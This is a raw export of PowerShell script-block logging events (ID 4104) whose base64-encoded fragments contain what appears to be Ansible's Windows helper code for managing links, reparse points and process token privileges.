tUeXBlLkhhcmRMaW5rOgogICAgICAgICAgICAgICAgICAgIGlmICghQ3JlYXRlSGFyZExpbmsobGlua1BhdGgsIGxpbmtUYXJnZXQsIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlSGFyZExpbmsoezB9LCB7MX0pIGZhaWxlZCIsIGxpbmtQYXRoLCBsaW5rVGFyZ2V0KSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHByaXZhdGUgc3RhdGljIExpbmtJbmZvIEdldEhhcmRMaW5rSW5mbyhzdHJpbmcgbGlua1BhdGgpCiAgICAgICAgewogICAgICAgICAgICBVSW50MzIgbWF4UGF0aCA9IDI2MDsKICAgICAgICAgICAgTGlzdDxzdHJpbmc+IHJlc3VsdCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KW1heFBhdGgpOwogICAgICAgICAgICBVSW50MzIgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgaWYgKCFHZXRWb2x1bWVQYXRoTmFtZShsaW5rUGF0aCwgc2IsIHJlZiBzdHJpbmdMZW5ndGgpKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oIkdldFZvbHVtZVBhdGhOYW1lKCkgZmFpbGVkIik7CiAgICAgICAgICAgIHN0cmluZyB2b2x1bWUgPSBzYi5Ub1N0cmluZygpOwoKICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKICAgICAgICAgICAgSW50UHRyIGZpbmRIYW5kbGUgPSBGaW5kRmlyc3RGaWxlTmFtZVcobGlua1BhdGgsIDAsIHJlZiBzdHJpbmdMZW5ndGgsIHNiKTsKICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICAgICAgICBsaW5rVHlwZSA9IExpbmtUeXBlLlN5bWJvbGljTGluazsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChidWZmZXIuUmVwYXJzZVRhZyA9PSBJT19SRVBBUlNFX1RBR19NT1VOVF9QT0lOVCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbGlua1R5cGUgPSBMaW5rVHlwZS5KdW5jdGlvblBvaW50OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIGVycm9yTWVzc2FnZSA9IFN0cmluZy5Gb3JtYXQoIkludmFsaWQgUmVwYXJzZSBUYWc6IHswfSIsIGJ1ZmZlci5SZXBhcnNlVGFnLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2Vwd
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2122 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 8):
lN0cnVjdHVyZVRvUHRyKHN0cnVjdHVyZSwgc3RydWN0UHRyLCBmYWxzZSk7CiAgICAgICAgICAgICAgICBNYXJzaGFsLkNvcHkoc3RydWN0UHRyLCBhcnJheSwgb2Zmc2V0LCBzaXplKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwoc3RydWN0UHRyKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIHNpemU7CiAgICAgICAgfQogICAgfQp9CidACgpGdW5jdGlvbiBJbXBvcnQtUHJpdmlsZWdlVXRpbCB7CiAgICA8IwogICAgLlNZTk9QU0lTCiAgICBDb21waWxlcyB0aGUgQyMgY29kZSB0aGF0IGNhbiBiZSB1c2VkIHRvIG1hbmFnZSBXaW5kb3dzIHByaXZpbGVnZXMgZnJvbSBhbgogICAgQW5zaWJsZSBtb2R1bGUuIE9uY2UgdGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQsIHRoZSBmb2xsb3dpbmcgUG93ZXJTaGVsbAogICAgY21kbGV0cyBjYW4gYmUgdXNlZDsKCiAgICAgICAgR2V0LUFuc2libGVQcml2aWxlZ2UKICAgICAgICBTZXQtQW5zaWJsZVByaXZpbGVnZQoKICAgIFRoZSBhYm92ZSBjbWRsZXRzIGdpdmUgdGhlIGFiaWxpdHkgdG8gbWFuYWdlIHBlcm1pc3Npb25zIG9uIHRoZSBjdXJyZW50CiAgICBwcm9jZXNzIHRva2VuIGJ1dCB0aGUgdW5kZXJseWluZyAuTkVUIGNsYXNzZXMgYXJlIGFsc28gZXhwb3NlZCBmb3IgZ3JlYXRlcgogICAgY29udHJvbC4gVGhlIGZvbGxvd2luZyBmdW5jdGlvbnMgY2FuIGJlIHVzZWQgYnkgY2FsbGluZyB0aGUgLk5FVCBjbGFzcwoKICAgIFtBbnNpYmxlLlBy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80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2121 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 8):
CAgICAgICAgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gcHJpdmlsZWdlczsKICAgICAgICAgICAgICAgIEludFB0ciBwcml2aWxlZ2VzUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoKGludCl0b2tlbkxlbmd0aCk7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuR2V0VG9rZW5JbmZvcm1hdGlvbihoVG9rZW4sIFRPS0VOX1BSSVZJTEVHRVMsIHByaXZpbGVnZXNQdHIsIHRva2VuTGVuZ3RoLCBvdXQgdG9rZW5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkdldFRva2VuSW5mb3JtYXRpb24oKSBmb3IgVE9LRU5fUFJJVklMRUdFUyBmYWlsZWQiKTsKCiAgICAgICAgICAgICAgICAgICAgTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTIHByaXZpbGVnZUluZm8gPSAoTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocHJpdmlsZWdlc1B0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgIHByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW3ByaXZpbGVnZUluZm8uUHJpdmlsZWdlQ291bnRdOwogICAgICAgICAgICAgICAgICAgIFB0clRvU3RydWN0dXJlQXJyYXkocHJpdmlsZWdlcywgSW50UHRyLkFkZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzKCkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBOYXRpdmVNZXRob2RzLkdldEN1cnJlbnRQcm9jZXNzKCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgUmVtb3ZlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAgewogICAgICAgICAgICBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgbnVsbCB9IH0pOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IFNldFRva2VuUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuLCBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IHN0YXRlKQogICAgICAgIHsKICAgICAgICAgICAgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gcHJpdmlsZWdlQXR0ciA9IG5ldyBOYXRpdmVIZWxwZXJzLkxVSURfQU5EX0FUVFJJQlVURVNbc3RhdGUuQ291bnRdOwogICAgICAgICAgICBpbnQgaSA9IDA7CgogICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBib29sPz4gZW50cnkgaW4gc3RhdGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuTFVJRCBsdWlkOwogICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkxvb2t1cFByaXZpbGVnZVZhbHVlKG51bGwsIGVudHJ5LktleSwgb3V0IGx1aWQpKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJMb29rdXBQcml2aWxlZ2VWYWx1ZSh7MH0pIGZhaWxlZCIsIGVudHJ5LktleSkpOwoKICAgICAgICAgICAgICAgIFByaXZpbGVnZUF0dHJpYnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4sIHByaXZpbGVnZUF0dHIpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBBZGp1c3RUb2tlblByaXZpbGVnZXMoU2FmZUhhbmRsZSB0b2tlbiwgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gbmV3U3RhdGUpCiAgICAgICAgewogICAgICAgICAgICBib29sIGRpc2FibGVBbGxQcml2aWxlZ2VzOwogICAgICAgICAgICBJbnRQdHIgbmV3U3RhdGVQdHI7CiAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuTFVJRF9BTkRfQVRUUklCVVRFU1tdIG9sZFN0YXRlUHJpdmlsZWdlczsKICAgICAgICAgICAgVUludDMyIHJldHVybkxlbmd0aDsKCiAgICAgICAgICAgIGlmIChuZXdTdGF0ZSA9PSBudWxsKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBkaXNhYmxlQWxsUHJpdmlsZWdlcyA9IHRydWU7CiAgICAgICAgICAgICAgICBuZXdTdGF0ZVB0ciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZGlzYWJsZUFsbFByaXZpbGVnZXMgPSBmYWxzZTsKCiAgICAgICAgICAgICAgICAvLyBOZWVkIHRvIG1hbnVhbGx5IG1hcnNoYWwgdGhlIGJ5dGVzIHJlcXVpcmVzIGZvciBuZXdTdGF0ZSBhcyB0aGUgY29uc3RhbnQgc2l6ZQogICAgICAgICAgICAgICAgLy8gb2YgTFVJRF9BTkRfQVRUUklCVVRFUyBpcyBzZXQgdG8gMSBhbmQgY2FuJ3QgYmUgb3ZlcnJpZGRlbiBhdCBydW50aW1lLCBUT0tFTl9QUklWSUxFR0VTCiAgICAgICAgICAgICAgICAvLyBhbHdheXMgY29udGFpbnMgYXQgbGVhc3QgMSBlbnRyeSBzbyB3ZSBuZWVkIHRvIGNhbGN1bGF0ZSB0aGUgZXh0cmEgc2l6ZSBpZiB0aGVyZSBhcmUKICAgICAgICAgICAgICAgIC8vIG5vcmUgdGhhbiAxIExVSURfQU5EX0FUVFJJQlVURVMgZW50cnkKICAgICAgICAgICAgICAgIGludCB0b2tlblByaXZpbGVnZXNTaXplID0gTWFyc2hhbC5TaXplT2YodHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgaW50IGx1aWRBdHRyU2l6ZSA9IDA7CiAgICAgICAgICAgICAgICBpZiAobmV3U3RhdGUuTGVuZ3RoID4gMSkKICAgICAgICAgICAgICAgICAgICBsdWlkQXR0clNpemUgPSBNYXJzaGFsLlNpemVPZih0eXBlb2YoTmF0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hoVG9rZW4sIGRpc2FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB0cik7CiAgICAgICAgICAgICAgICAgICAgb2xkU3RhdGVQdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgoaW50KXJldHVybkxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBib29sIHJlcyA9IE5hdGl2ZU1ldGhvZHMuQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKGhUb2tlbiwgZGlzYWJsZUFsbFByaXZpbGVnZXMsIG5ld1N0YXRlUHRyLCByZXR1cm5MZW5ndGgsIG9sZFN0YXRlUHRyLCBvdXQgcmV0dXJuTGVuZ3RoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBldmVuIHdoZW4gcmVzID09IHRydWUsIEVSUk9SX05PVF9BTExfQVNTSUdORUQgbWF5IGJlIHNldCBhcyB0aGUgbGFzdCBlcnJvciBjb2RlCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghcmVzIHx8IGVyckNvZGUgIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihlcnJDb2RlLCAiQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKCkgZmFpbGVkIik7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBNYXJzaGFsIHRoZSBvbGRTdGF0ZVB0ciB0byB0aGUgc3RydWN0CiAgICAgICAgICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUyBvbGRTdGF0ZSA9IChOYXRpdmVIZWxwZXJzLlRPS0VOX1BSSVZJTEVHRVMpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShvbGRTdGF0ZVB0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgICAgICBvbGRTdGF0ZVByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW29sZFN0YXRlLlByaXZpbGVnZUNvdW50XTsKICAgICAgICAgICAgICAgICAgICAgICAgUHRyVG9TdHJ1Y3R1cmVBcnJheShvbGRTdGF0ZVByaXZpbGVnZXMsIEludFB0ci5BZGQob2xkU3RhdGVQdHIsIE1hcnNoYWwuU2l6ZU9mKG9sZFN0YXRlLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5MdWlkKSwgcCA9PiAoYm9vbD8pcC5BdHRyaWJ1dGVzLkhhc0ZsYWcoUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgR2V0UHJpdmlsZWdlTmFtZShOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZCkKICAgICAgICB7CiAgICAgICAgICAgIFVJbnQzMiBuYW1lTGVuID0gMDsKICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5Mb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIHJlZiBsdWlkLCBudWxsLCByZWYgbmFtZUxlbik7CgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIG5hbWUgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KShuYW1lTGVuICsgMSkpOwogICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuTG9va3VwUHJpdmlsZWdlTmFtZShudWxsLCByZWYgbHVpZCwgbmFtZSwgcmVmIG5hbWVMZW4pKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJMb29rdXBQcml2aWxlZ2VOYW1lKCkgZmFpbGVkIik7CgogICAgICAgICAgICByZXR1cm4gbmFtZS5Ub1N0cmluZygpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBQdHJUb1N0cnVjdHVyZUFycmF5PFQ+KFRbXSBhcnJheSwgSW50UHRyIHB0cikKICAgICAgICB7CiAgICAgICAgICAgIEludFB0ciBwdHJPZmZzZXQgPSBwdHI7CiAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgYXJyYXkuTGVuZ3RoOyBpKyssIHB0ck9mZnNldCA9IEludFB0ci5BZGQocHRyT2Zmc2V0LCBNYXJzaGFsLlNpemVPZih0eXBlb2YoVCkpKSkKICAgICAgICAgICAgICAgIGFycmF5W2ldID0gKFQpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShwdHJPZmZzZXQsIHR5cGVvZihUKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBpbnQgU3RydWN0dXJlVG9CeXRlczxUPihUIHN0cnVjdHVyZSwgYnl0ZVtdIGFycmF5LCBpbnQgb2Zmc2V0KQogICAgICAgIHsKICAgICAgICAgICAgaW50IHNpemUgPSBNYXJzaGFsLlNpemVPZihzdHJ1Y3R1cmUpOwogICAgICAgICAgICBJbnRQdHIgc3RydWN0UHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoc2l6ZSk7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBNYXJzaGFs